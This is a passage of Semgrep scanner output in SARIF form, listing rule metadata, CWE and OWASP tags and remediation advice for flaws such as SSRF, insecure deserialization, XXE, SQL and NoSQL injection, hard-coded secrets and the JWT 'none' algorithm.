possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.net.tainted-django-http-request-httplib2.tainted-django-http-request-httplib2)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.django.net.tainted-django-http-request-httplib2.tainted-django-http-request-httplib2","id":"python.django.net.tainted-django-http-request-httplib2.tainted-django-http-request-httplib2","name":"python.django.net.tainted-django-http-request-httplib2.tainted-django-http-request-httplib2","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.net.tainted-django-http-request-httplib2.tainted-django-http-request-httplib2"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.deserialization.tainted-pandas-pickle-django.tainted-pandas-pickle-django)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html](https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-pandas-pickle-django.tainted-pandas-pickle-django","id":"python.django.deserialization.tainted-pandas-pickle-django.tainted-pandas-pickle-django","name":"python.django.deserialization.tainted-pandas-pickle-django.tainted-pandas-pickle-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.deserialization.tainted-pandas-pickle-django.tainted-pandas-pickle-django"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"A prompt is created and user-controlled data reaches that prompt. This can lead to prompt injection. Make sure the user inputs are properly segmented from the system's in your prompts."},"help":{"markdown":"A prompt is created and user-controlled data reaches that prompt. This can lead to prompt injection. Make sure the user inputs are properly segmented from the system's in your prompts.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.ai.prompt-injection-django.prompt-injection-django)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"A prompt is created and user-controlled data reaches that prompt. This can lead to prompt injection. Make sure the user inputs are properly segmented from the system's in your prompts."},"helpUri":"https://semgrep.dev/r/python.django.ai.prompt-injection-django.prompt-injection-django","id":"python.django.ai.prompt-injection-django.prompt-injection-django","name":"python.django.ai.prompt-injection-django.prompt-injection-django","properties":{"precision":"very-high","tags":["CWE-75: Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.ai.prompt-injection-django.prompt-injection-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation."},"help":{"markdown":"A expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.ognl-injection.ognl-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"A expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.ognl-injection.ognl-injection","id":"java.lang.security.audit.ognl-injection.ognl-injection","name":"java.lang.security.audit.ognl-injection.ognl-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.ognl-injection.ognl-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.hardcoded.tokens.hardcoded-aws-secretaccesskey.hardcoded-aws-secretaccesskey)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.lang.hardcoded.tokens.hardcoded-aws-secretaccesskey.hardcoded-aws-secretaccesskey","id":"javascript.lang.hardcoded.tokens.hardcoded-aws-secretaccesskey.hardcoded-aws-secretaccesskey","name":"javascript.lang.hardcoded.tokens.hardcoded-aws-secretaccesskey.hardcoded-aws-secretaccesskey","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.hardcoded.tokens.hardcoded-aws-secretaccesskey.hardcoded-aws-secretaccesskey"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A cookie was detected without setting the 'secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'secure' flag by calling '$COOKIE.setSecure(true);'"},"help":{"markdown":"A cookie was detected without setting the 'secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'secure' flag by calling '$COOKIE.setSecure(true);'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.cookie-missing-secure-flag.cookie-missing-secure-flag)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"A cookie was detected without setting the 'secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'secure' flag by calling '$COOKIE.setSecure(true);'"},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.cookie-missing-secure-flag.cookie-missing-secure-flag","id":"kotlin.lang.security.cookie-missing-secure-flag.cookie-missing-secure-flag","name":"kotlin.lang.security.cookie-missing-secure-flag.cookie-missing-secure-flag","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.cookie-missing-secure-flag.cookie-missing-secure-flag"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the Validator parser with `parser.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"). For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the Validator parser with `parser.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"). For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.xxe.tainted-validator-xxe-servlet.tainted-validator-xxe-servlet)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/827.html](https://cwe.mitre.org/data/definitions/827.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the Validator parser with `parser.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"). For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.xxe.tainted-validator-xxe-servlet.tainted-validator-xxe-servlet","id":"java.servlets.security.xxe.tainted-validator-xxe-servlet.tainted-validator-xxe-servlet","name":"java.servlets.security.xxe.tainted-validator-xxe-servlet.tainted-validator-xxe-servlet","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.xxe.tainted-validator-xxe-servlet.tainted-validator-xxe-servlet"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.code.tainted-code-stdlib-flask.tainted-code-stdlib-flask)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://www.stackhawk.com/blog/command-injection-python/](https://www.stackhawk.com/blog/command-injection-python/)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"helpUri":"https://semgrep.dev/r/python.flask.code.tainted-code-stdlib-flask.tainted-code-stdlib-flask","id":"python.flask.code.tainted-code-stdlib-flask.tainted-code-stdlib-flask","name":"python.flask.code.tainted-code-stdlib-flask.tainted-code-stdlib-flask","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.code.tainted-code-stdlib-flask.tainted-code-stdlib-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.sql.pg-sqli-taint-med-conf.pg-sqli-taint-med-conf)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pg.uptrace.dev/queries/](https://pg.uptrace.dev/queries/)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"helpUri":"https://semgrep.dev/r/go.net.sql.pg-sqli-taint-med-conf.pg-sqli-taint-med-conf","id":"go.net.sql.pg-sqli-taint-med-conf.pg-sqli-taint-med-conf","name":"go.net.sql.pg-sqli-taint-med-conf.pg-sqli-taint-med-conf","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.sql.pg-sqli-taint-med-conf.pg-sqli-taint-med-conf"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Twilio API Key detected"},"help":{"markdown":"Twilio API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-twilio-api-key.detected-twilio-api-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Twilio API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-twilio-api-key.detected-twilio-api-key","id":"generic.secrets.security.detected-twilio-api-key.detected-twilio-api-key","name":"generic.secrets.security.detected-twilio-api-key.detected-twilio-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-twilio-api-key.detected-twilio-api-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected calls to child_process from a function argument `$FUNC`. This could lead to a command injection if the input is user controllable. Try to avoid calls to child_process, and if it is needed ensure user input is correctly sanitized or sandboxed. "},"help":{"markdown":"Detected calls to child_process from a function argument `$FUNC`. This could lead to a command injection if the input is user controllable. Try to avoid calls to child_process, and if it is needed ensure user input is correctly sanitized or sandboxed. \n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.detect-child-process.detect-child-process)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Nodejs_Security_Cheat_Sheet.html#do-not-use-dangerous-functions](https://cheatsheetseries.owasp.org/cheatsheets/Nodejs_Security_Cheat_Sheet.html#do-not-use-dangerous-functions)\n","text":"Detected calls to child_process from a function argument `$FUNC`. This could lead to a command injection if the input is user controllable. Try to avoid calls to child_process, and if it is needed ensure user input is correctly sanitized or sandboxed. "},"helpUri":"https://semgrep.dev/r/javascript.lang.security.detect-child-process.detect-child-process","id":"javascript.lang.security.detect-child-process.detect-child-process","name":"javascript.lang.security.detect-child-process.detect-child-process","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.detect-child-process.detect-child-process"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected anonymous LDAP bind. This permits anonymous users to execute LDAP statements. Consider enforcing authentication for LDAP."},"help":{"markdown":"Detected anonymous LDAP bind. This permits anonymous users to execute LDAP statements. Consider enforcing authentication for LDAP.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.ldap-bind-without-password.ldap-bind-without-password)\n - [https://www.php.net/manual/en/function.ldap-bind.php](https://www.php.net/manual/en/function.ldap-bind.php)\n","text":"Detected anonymous LDAP bind. This permits anonymous users to execute LDAP statements. Consider enforcing authentication for LDAP."},"helpUri":"https://semgrep.dev/r/php.lang.security.ldap-bind-without-password.ldap-bind-without-password","id":"php.lang.security.ldap-bind-without-password.ldap-bind-without-password","name":"php.lang.security.ldap-bind-without-password.ldap-bind-without-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.ldap-bind-without-password.ldap-bind-without-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.spring.kmongo-nosqli.kmongo-nosqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/kotlin.spring.kmongo-nosqli.kmongo-nosqli","id":"kotlin.spring.kmongo-nosqli.kmongo-nosqli","name":"kotlin.spring.kmongo-nosqli.kmongo-nosqli","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.spring.kmongo-nosqli.kmongo-nosqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.ktor.nosqli.ktor-mongo-java-driver.ktor-mongo-java-driver)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/kotlin.ktor.nosqli.ktor-mongo-java-driver.ktor-mongo-java-driver","id":"kotlin.ktor.nosqli.ktor-mongo-java-driver.ktor-mongo-java-driver","name":"kotlin.ktor.nosqli.ktor-mongo-java-driver.ktor-mongo-java-driver","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.ktor.nosqli.ktor-mongo-java-driver.ktor-mongo-java-driver"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Possible active debug code detected. Deploying an application with debug code can create unintended entry points or expose sensitive information."},"help":{"markdown":"Possible active debug code detected. Deploying an application with debug code can create unintended entry points or expose sensitive information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.active-debug-code-getstacktrace.active-debug-code-getstacktrace)\n - [https://cwe.mitre.org/data/definitions/489.html](https://cwe.mitre.org/data/definitions/489.html)\n - [https://www.acunetix.com/vulnerabilities/web/stack-trace-disclosure-java/](https://www.acunetix.com/vulnerabilities/web/stack-trace-disclosure-java/)\n - [https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/02-Testing_for_Stack_Traces](https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/02-Testing_for_Stack_Traces)\n - [https://www.securecodewarrior.com/blog/coders-conquer-security-share-learn-series-information-exposure](https://www.securecodewarrior.com/blog/coders-conquer-security-share-learn-series-information-exposure)\n","text":"Possible active debug code detected. Deploying an application with debug code can create unintended entry points or expose sensitive information."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.active-debug-code-getstacktrace.active-debug-code-getstacktrace","id":"java.lang.security.audit.active-debug-code-getstacktrace.active-debug-code-getstacktrace","name":"java.lang.security.audit.active-debug-code-getstacktrace.active-debug-code-getstacktrace","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","OWASP-A10:2004 - Insecure Configuration Management","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.active-debug-code-getstacktrace.active-debug-code-getstacktrace"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"help":{"markdown":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.jwt-go.security.jwt-none-alg.jwt-go-none-algorithm)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"helpUri":"https://semgrep.dev/r/go.jwt-go.security.jwt-none-alg.jwt-go-none-algorithm","id":"go.jwt-go.security.jwt-none-alg.jwt-go-none-algorithm","name":"go.jwt-go.security.jwt-none-alg.jwt-go-none-algorithm","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: go.jwt-go.security.jwt-none-alg.jwt-go-none-algorithm"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.spring.scripting-host-eval.scripting-host-eval)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user 